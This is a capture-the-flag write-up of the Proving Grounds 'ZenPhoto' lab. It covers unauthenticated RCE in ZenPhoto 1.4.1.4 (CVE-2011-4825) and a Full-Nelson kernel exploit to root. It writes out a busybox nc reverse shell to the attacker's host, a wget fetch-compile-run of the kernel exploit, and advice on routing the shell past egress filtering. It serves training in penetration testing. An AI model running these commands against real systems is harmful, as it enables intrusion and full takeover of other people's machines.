the_open_door
coffee
ESEN

ZenPhoto

Proving Grounds PracticeMediumLinux192.168.118.413 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#zenphoto#cve-2011-4825#public-exploit#rce#kernel-exploit#full-nelson#cve-2010-4258#oscp
TL;DR. ZenPhoto serves a ZenPhoto 1.4.1.4 gallery under /test/, a version with a known unauthenticated RCE (CVE-2011-4825, ajax_create_folder.php). The public exploit 18083.php gives execution as www-data and, with busybox nc, a reverse shell. The box is an ancient Ubuntu 10.04 with kernel 2.6.37: the Full-Nelson kernel exploit (15704.c, CVE-2010-4258) compiles on the target and takes us to root in one jump.

Recon#

Initial scan#

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.118.41
64 bytes from 192.168.118.41: icmp_seq=1 ttl=61 time=31.3 ms

We sweep all TCP ports and fingerprint versions on the open ones:


sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.118.41
PORT     STATE SERVICE
22/tcp   open  ssh
23/tcp   open  ipp
80/tcp   open  http
3306/tcp open  mysql

nmap -p22,23,80,3306 -sCV 192.168.118.41 -oN targetedScan
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-05 17:11 UTC
Nmap scan report for 192.168.118.41 (192.168.118.41)
Host is up (0.029s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 83:92:ab:f2:b7:6e:27:08:7b:a9:b8:72:32:8c:cc:29 (DSA)
|_  2048 65:77:fa:50:fd:4d:9e:f1:67:e5:cc:0c:c6:96:f2:3e (RSA)
23/tcp   open  ipp     CUPS 1.4
|_http-title: 403 Forbidden
|_http-server-header: CUPS/1.4
| http-methods:
|_  Potentially risky methods: PUT
80/tcp   open  http    Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.14 (Ubuntu)
3306/tcp open  mysql   MySQL (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.80 seconds

The versions scream age: OpenSSH 5.3p1 and Apache 2.2.14 are Ubuntu 10.04 (2010). The service on 23 isn't telnet but CUPS 1.4 (with PUT enabled, an oddity that doesn't pan out here), and MySQL refuses anonymous connections. The real surface is HTTP on 80, and such an old system already hints the escalation will end up being a kernel exploit.

HTTP - TCP 80#

The root shows nothing useful, so we fuzz routes. A /test/ directory appears:


dirsearch -u http://192.168.118.41 --exclude-status=403,404,503
301  /test  ->  http://192.168.118.41/test/
200  /test/

/test/ is a photo gallery. Looking at the page's source, the footer reveals the application and its exact version: ZenPhoto 1.4.1.4.

Source of /test/ with the footer zenphoto version 1.4.1.4 [8157] (Official Build)

With a concrete version, we go straight to known exploits:


searchsploit 'ZenPhoto 1.4'
-----------------------------------------------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                                                            |  Path
-----------------------------------------------------------------------------------------------------------------------------------------------------------
...
ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution                                                         | php/webapps/18083.php
...
-----------------------------------------------------------------------------------------------------------------------------------------------------------

And we pull it into the working directory:


searchsploit -m php/webapps/18083.php
   Codes: OSVDB-76928, CVE-2011-4825

Shell as www-data#

ZenPhoto 1.4.1.4: unauthenticated RCE (CVE-2011-4825)#

The vulnerability (CVE-2011-4825) is in ajax_create_folder.php, a ZenPhoto file-manager endpoint that doesn't check authentication and lets you create and write a PHP file on the server; from there to command execution is one step. The public exploit 18083.php automates the process and drops a pseudo-shell. We rename it and run it against the /test/ install:


mv 18083.php rce.php

php rce.php 192.168.118.41 /test/
+--------------------------------------------------+
| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit |
+--------------------------------------------------+

zenphoto-shell# whoami
www-data

That exploit shell is limited, so we use it to launch a full reverse shell. As with other boxes in this batch, high ports don't come back, so we aim at 80 with busybox nc. We keep Penelope listening on 80:


penelope 80

Then we fire the reverse shell:


busybox nc 192.168.45.227 80 -e /bin/bash
[+] Got reverse shell from offsecsrv~192.168.118.41-Linux-i686  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
www-data@offsecsrv:/var/www/test/zp-core/.../ajaxfilemanager/inc$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@offsecsrv:...$ whoami
www-data

The session lands as www-data on host offsecsrv. We read the first proof:


cat local.txt && whoami && ip a && hostname
19d58f3c626fb58e811fe6bf22d967d4
www-data
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:50:56:9e:b4:1c brd ff:ff:ff:ff:ff:ff
    inet 192.168.118.41/24 brd 192.168.118.255 scope global eth0
    inet6 fe80::250:56ff:fe9e:b41c/64 scope link
       valid_lft forever preferred_lft forever
offsecsrv

Privilege escalation#

Full-Nelson: kernel exploit (Ubuntu 10.04, 2.6.37)#

We don't need deep local enumeration: the recon versions already shouted Ubuntu 10.04. That system ships kernel 2.6.37, vulnerable to several classic local privilege escalations. We search by distribution:


searchsploit 'Ubuntu 10.04'
---------------------------------------------------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                                                                 |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------
...
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation                                       | linux/local/15704.c
...
---------------------------------------------------------------------------------------------------------------------------------------------------------------

And we pull it into the working directory:


searchsploit -m linux/local/15704.c
  Exploit: Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/15704
     Path: /usr/share/exploitdb/exploits/linux/local/15704.c
    Codes: CVE-2010-4258, CVE-2010-3850, CVE-2010-3849
 Verified: True
File Type: C source, ASCII text
Copied to: /tmp/15704.c

Full-Nelson (kernel exploit) chains three Econet subsystem flaws to run code in ring 0. We serve the .c from our box, download it on the target, compile it in place (the box has gcc) and run it:


python3 -m http.server 8081

wget http://192.168.45.227:8081/15704.c
gcc 15704.c -o a.out
./a.out
[*] Resolving kernel addresses...
 [+] Resolved econet_ioctl to 0xf82062d0
 [+] Resolved commit_creds to 0xc016dcc0
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root)

The uid=0(root) confirms the escalation. We read the final proof:


cat /root/proof.txt && ip a && hostname && whoami
c6a70ba214b4be51abd7896d9b2a9b26
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:50:56:9e:b4:1c brd ff:ff:ff:ff:ff:ff
    inet 192.168.118.41/24 brd 192.168.118.255 scope global eth0
    inet6 fe80::250:56ff:fe9e:b41c/64 scope link
       valid_lft forever preferred_lft forever
offsecsrv
root

Attack chain#

Apache 2.2.14 (TCP 80)  ->  /test/  =  ZenPhoto 1.4.1.4
        │  ajax_create_folder.php  ──  CVE-2011-4825  ──  unauthenticated RCE (18083.php)
        │  busybox nc to port 80 (egress-allowed port)
        ▼
shell as www-data  (local.txt)
        │  Ubuntu 10.04 system, kernel 2.6.37
        │  Full-Nelson (15704.c, CVE-2010-4258)  ->  gcc + ./a.out
        ▼
shell as root  (proof.txt)

Lessons learned#

  • The exact version is half the work. Reading the source footer revealed ZenPhoto 1.4.1.4, and from there to searchsploit and CVE-2011-4825 was direct. Hiding or, better, updating exposed versions closes the attacker's cheapest path.
  • Unmaintained software = public RCE. ZenPhoto 1.4.1.4 (2011) carries a known unauthenticated RCE; nothing had to be discovered, just a published exploit applied. Keeping applications current is the only real defense.
  • An old kernel is near-guaranteed escalation. The recon versions (OpenSSH 5.3, Apache 2.2.14) already gave away Ubuntu 10.04; the 2.6.37 kernel fell to Full-Nelson. A caveat: kernel exploits can crash the box, so in a real environment they're reserved for last.
  • Egress filtering dictates the callback port. A high-port callback didn't come back; aiming the reverse shell at the already-open 80 sidesteps that control.
Command cheatsheet 10 commands

Quick review